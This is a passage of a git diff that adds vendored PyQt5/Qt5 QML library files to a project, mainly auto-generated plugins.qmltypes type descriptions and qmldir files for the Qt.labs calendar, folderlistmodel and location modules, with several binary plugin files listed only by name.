Repeater { + model: control.source + delegate: control.delegate + } + } + //! [contentItem] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/WeekNumberColumn.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/WeekNumberColumn.qmlc new file mode 100644 index 00000000..377d274f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/WeekNumberColumn.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/plugins.qmltypes new file mode 100644 index 00000000..e004d63d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/plugins.qmltypes @@ -0,0 +1,435 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable Qt.labs.calendar 1.0' + +Module { + dependencies: ["QtQuick 2.12"] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: { + "NoLayoutChangeHint": 0, + "VerticalSortHint": 1, + "HorizontalSortHint": 2 + } + } + Enum { + name: "CheckIndexOption" + values: { + "NoOption": 0, + "IndexIsValid": 1, + "DoNotUseParent": 2, + "ParentIsInvalid": 4 + } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + name: "QQuickCalendar" + prototype: "QObject" + exports: ["Qt.labs.calendar/Calendar 1.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Enum { + name: "Month" + values: { + "January": 0, + "February": 1, + "March": 2, + "April": 3, + "May": 4, + "June": 5, + "July": 6, + "August": 7, + "September": 8, + "October": 9, + "November": 10, + "December": 11 + } + } + } + Component { + name: "QQuickCalendarModel" + prototype: "QAbstractListModel" + exports: ["Qt.labs.calendar/CalendarModel 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "from"; type: "QDate" } + Property { name: "to"; type: "QDate" } + Property { name: "count"; type: "int"; isReadonly: true } + Method { + name: "monthAt" + type: "int" + Parameter { name: "index"; type: "int" } + } + Method { + name: "yearAt" + type: "int" + Parameter { name: "index"; type: "int" } + } + Method { + name: "indexOf" + type: "int" + Parameter { name: "date"; type: "QDate" } + } + Method { + name: "indexOf" + type: "int" + Parameter { name: "year"; type: "int" } + Parameter { name: "month"; type: "int" } + } + } + Component { + name: "QQuickControl" + defaultProperty: "data" + prototype: "QQuickItem" + Property { name: "font"; type: "QFont" } + Property { name: "availableWidth"; type: "double"; isReadonly: true } + Property { name: "availableHeight"; type: "double"; isReadonly: true } + Property { name: "padding"; type: "double" } + Property { name: "topPadding"; type: "double" } + Property { name: "leftPadding"; type: "double" } + Property { name: "rightPadding"; type: "double" } + Property { name: "bottomPadding"; type: "double" } + Property { name: "spacing"; type: "double" } + Property { name: "locale"; type: "QLocale" } + Property { name: "mirrored"; type: "bool"; isReadonly: true } + Property { name: "focusPolicy"; type: "Qt::FocusPolicy" } + Property { name: "focusReason"; type: "Qt::FocusReason" } + Property { name: "visualFocus"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "hoverEnabled"; type: "bool" } + Property { name: "wheelEnabled"; type: "bool" } + Property { name: "background"; type: "QQuickItem"; isPointer: true } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "palette"; revision: 3; type: "QPalette" } + Property { name: "horizontalPadding"; revision: 5; type: "double" } + Property { name: "verticalPadding"; revision: 5; type: "double" } + Property { name: "implicitContentWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitContentHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "topInset"; revision: 5; type: "double" } + Property { name: "leftInset"; revision: 5; type: "double" } + Property { name: "rightInset"; revision: 5; type: "double" } + Property { name: "bottomInset"; revision: 5; type: "double" } + Signal { name: "paletteChanged"; revision: 3 } + Signal { name: "horizontalPaddingChanged"; revision: 5 } + Signal { name: "verticalPaddingChanged"; revision: 5 } + Signal { name: "implicitContentWidthChanged"; revision: 5 } + Signal { name: "implicitContentHeightChanged"; revision: 5 } + Signal { name: "implicitBackgroundWidthChanged"; revision: 5 } + Signal { name: "implicitBackgroundHeightChanged"; revision: 5 } + Signal { name: "topInsetChanged"; revision: 5 } + Signal { name: "leftInsetChanged"; revision: 5 } + Signal { name: "rightInsetChanged"; revision: 5 } + Signal { name: "bottomInsetChanged"; revision: 5 } + } + Component { + name: "QQuickDayOfWeekRow" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["Qt.labs.calendar/AbstractDayOfWeekRow 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "source"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + } + Component { + name: "QQuickMonthGrid" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["Qt.labs.calendar/AbstractMonthGrid 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "month"; type: "int" } + Property { name: "year"; type: "int" } + Property { name: "source"; type: "QVariant" } + Property { name: "title"; type: "string" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Signal { + name: "pressed" + Parameter { name: "date"; type: "QDate" } + } + Signal { + name: "released" + Parameter { name: "date"; type: "QDate" } + } + Signal { + name: "clicked" + Parameter { name: "date"; type: "QDate" } + } + Signal { + name: "pressAndHold" + Parameter { name: "date"; type: "QDate" } + } + } + Component { + name: "QQuickWeekNumberColumn" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["Qt.labs.calendar/AbstractWeekNumberColumn 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "month"; type: "int" } + Property { name: "year"; type: "int" } + Property { name: "source"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/qmldir new file mode 100644 index 00000000..9b9e9031 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/qmldir @@ -0,0 +1,6 @@ +module Qt.labs.calendar +plugin qtlabscalendarplugin +classname QtLabsCalendarPlugin +DayOfWeekRow 1.0 DayOfWeekRow.qml +MonthGrid 1.0 MonthGrid.qml +WeekNumberColumn 1.0 WeekNumberColumn.qml diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/qtlabscalendarplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/qtlabscalendarplugin.dll new file mode 100644 index 00000000..e65ddd49 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/qtlabscalendarplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/plugins.qmltypes new file mode 100644 index 00000000..6e2a721d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/plugins.qmltypes @@ -0,0 +1,361 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: [ + "NoLayoutChangeHint", + "VerticalSortHint", + "HorizontalSortHint" + ] + } + Enum { + name: "CheckIndexOption" + values: [ + "NoOption", + "IndexIsValid", + "DoNotUseParent", + "ParentIsInvalid" + ] + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { name: "resetInternalData" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + file: "qquickfolderlistmodel.h" + name: "QQuickFolderListModel" + prototype: "QAbstractListModel" + exports: [ + "Qt.labs.folderlistmodel/FolderListModel 2.0", + "Qt.labs.folderlistmodel/FolderListModel 2.1", + "Qt.labs.folderlistmodel/FolderListModel 2.11", + "Qt.labs.folderlistmodel/FolderListModel 2.12", + "Qt.labs.folderlistmodel/FolderListModel 2.2" + ] + exportMetaObjectRevisions: [0, 1, 11, 12, 2] + Enum { + name: "SortField" + values: ["Unsorted", "Name", "Time", "Size", "Type"] + } + Enum { + name: "Status" + values: ["Null", "Ready", "Loading"] + } + Property { name: "folder"; type: "QUrl" } + Property { name: "rootFolder"; type: "QUrl" } + Property { name: "parentFolder"; type: "QUrl"; isReadonly: true } + Property { name: "nameFilters"; type: "QStringList" } + Property { name: "sortField"; type: "SortField" } + Property { name: "sortReversed"; type: "bool" } + Property { name: "showFiles"; revision: 1; type: "bool" } + Property { name: "showDirs"; type: "bool" } + Property { name: "showDirsFirst"; type: "bool" } + Property { name: "showDotAndDotDot"; type: "bool" } + Property { name: "showHidden"; revision: 1; type: "bool" } + Property { name: "showOnlyReadable"; type: "bool" } + Property { name: "caseSensitive"; revision: 2; type: "bool" } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "status"; revision: 11; type: "Status"; isReadonly: true } + Property { name: "sortCaseSensitive"; revision: 12; type: "bool" } + Signal { name: "rowCountChanged" } + Signal { name: "countChanged"; revision: 1 } + Signal { name: "statusChanged"; revision: 11 } + Method { + name: "_q_directoryChanged" + Parameter { name: "directory"; type: "string" } + Parameter { name: "list"; type: "QList" } + } + Method { + name: "_q_directoryUpdated" + Parameter { name: "directory"; type: "string" } + Parameter { name: "list"; type: "QList" } + Parameter { name: "fromIndex"; type: "int" } + Parameter { name: "toIndex"; type: "int" } + } + Method { + name: "_q_sortFinished" + Parameter { name: "list"; type: "QList" } + } + Method { + name: "_q_statusChanged" + Parameter { name: "s"; type: "QQuickFolderListModel::Status" } + } + Method { + name: "isFolder" + type: "bool" + Parameter { name: "index"; type: "int" } + } + Method { + name: "get" + type: "QVariant" + Parameter { name: "idx"; type: "int" } + Parameter { name: "property"; type: "string" } + } + Method { + name: "indexOf" + type: "int" + Parameter { name: "file"; type: "QUrl" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/qmldir new file mode 100644 index 00000000..18658450 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/qmldir @@ -0,0 +1,4 @@ +module Qt.labs.folderlistmodel +plugin qmlfolderlistmodelplugin +classname QmlFolderListModelPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/qmlfolderlistmodelplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/qmlfolderlistmodelplugin.dll new file mode 100644 index 00000000..9bfd3767 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/folderlistmodel/qmlfolderlistmodelplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/locationlabsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/locationlabsplugin.dll new file mode 100644 index 00000000..886f04ad Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/locationlabsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/plugins.qmltypes new file mode 100644 index 00000000..d69039b1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/plugins.qmltypes @@ -0,0 +1,252 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable Qt.labs.location 1.0' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "LocationLabsSingleton" + prototype: "QObject" + exports: ["Qt.labs.location/QtLocationLabs 1.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Method { + name: "mapObjectsAt" + type: "QList" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + Parameter { name: "map"; type: "QDeclarativeGeoMap"; isPointer: true } + } + } + Component { + name: "QAbstractNavigator" + prototype: "QObject" + Signal { + name: "activeChanged" + Parameter { name: "active"; type: "bool" } + } + Signal { + name: "waypointReached" + Parameter { name: "pos"; type: "const QDeclarativeGeoWaypoint"; isPointer: true } + } + Signal { name: "destinationReached" } + Signal { name: "currentRouteChanged" } + Signal { name: "currentRouteLegChanged" } + Signal { name: "currentSegmentChanged" } + Signal { name: "nextManeuverIconChanged" } + Signal { name: "progressInformationChanged" } + Signal { name: "isOnRouteChanged" } + Signal { name: "alternativeRoutesChanged" } + Method { name: "start"; type: "bool" } + Method { name: "stop"; type: "bool" } + Method { + name: "setTrackPosition" + Parameter { name: "trackPosition"; type: "bool" } + } + } + Component { + name: "QDeclarativeNavigationBasicDirections" + prototype: "QObject" + Property { name: "nextManeuverIcon"; type: "QVariant"; isReadonly: true } + Property { name: "distanceToNextManeuver"; type: "double"; isReadonly: true } + Property { name: "remainingTravelDistance"; type: "double"; isReadonly: true } + Property { name: "remainingTravelDistanceToNextWaypoint"; type: "double"; isReadonly: true } + Property { name: "traveledDistance"; type: "double"; isReadonly: true } + Property { name: "timeToNextManeuver"; type: "int"; isReadonly: true } + Property { name: "remainingTravelTime"; type: "int"; isReadonly: true } + Property { name: "remainingTravelTimeToNextWaypoint"; type: "int"; isReadonly: true } + Property { name: "traveledTime"; type: "int"; isReadonly: true } + Property { name: "currentRoute"; type: "QDeclarativeGeoRoute"; isReadonly: true; isPointer: true } + Property { + name: "currentRouteLeg" + type: "QDeclarativeGeoRouteLeg" + isReadonly: true + isPointer: true + } + Property { name: "currentSegment"; type: "int"; isReadonly: true } + Property { + name: "alternativeRoutes" + type: "QAbstractItemModel" + isReadonly: true + isPointer: true + } + Signal { name: "progressInformationChanged" } + Signal { + name: "waypointReached" + Parameter { name: "pos"; type: "const QDeclarativeGeoWaypoint"; isPointer: true } + } + Signal { name: "destinationReached" } + } + Component { + name: "QDeclarativeNavigator" + defaultProperty: "quickChildren" + prototype: "QParameterizableObject" + exports: ["Qt.labs.location/Navigator 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "map"; type: "QDeclarativeGeoMap"; isPointer: true } + Property { name: "route"; type: "QDeclarativeGeoRoute"; isPointer: true } + Property { name: "positionSource"; type: "QDeclarativePositionSource"; isPointer: true } + Property { name: "active"; type: "bool" } + Property { name: "navigatorReady"; type: "bool"; isReadonly: true } + Property { name: "trackPositionSource"; type: "bool" } + Property { name: "automaticReroutingEnabled"; type: "bool" } + Property { name: "isOnRoute"; type: "bool"; isReadonly: true } + Property { + name: "directions" + type: "QDeclarativeNavigationBasicDirections" + isReadonly: true + isPointer: true + } + Property { name: "error"; type: "NavigationError"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "engineHandle"; type: "QAbstractNavigator"; isReadonly: true; isPointer: true } + Signal { + name: "navigatorReadyChanged" + Parameter { name: "ready"; type: "bool" } + } + Signal { + name: "trackPositionSourceChanged" + Parameter { name: "trackPositionSource"; type: "bool" } + } + Signal { + name: "activeChanged" + Parameter { name: "active"; type: "bool" } + } + Method { name: "recalculateRoutes" } + } + Component { + name: "QGeoMapObject" + defaultProperty: "quickChildren" + prototype: "QParameterizableObject" + Enum { + name: "Type" + values: { + "InvalidType": 0, + "ViewType": 1, + "RouteType": 2, + "RectangleType": 3, + "CircleType": 4, + "PolylineType": 5, + "PolygonType": 6, + "IconType": 7, + "UserType": 256 + } + } + Property { name: "visible"; type: "bool" } + Property { name: "type"; type: "Type"; isReadonly: true } + Property { name: "geoShape"; type: "QGeoShape" } + Signal { name: "selected" } + Signal { name: "completed" } + } + Component { + name: "QMapCircleObject" + defaultProperty: "quickChildren" + prototype: "QGeoMapObject" + exports: ["Qt.labs.location/MapCircleObject 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "center"; type: "QGeoCoordinate" } + Property { name: "radius"; type: "double" } + Property { name: "color"; type: "QColor" } + Property { 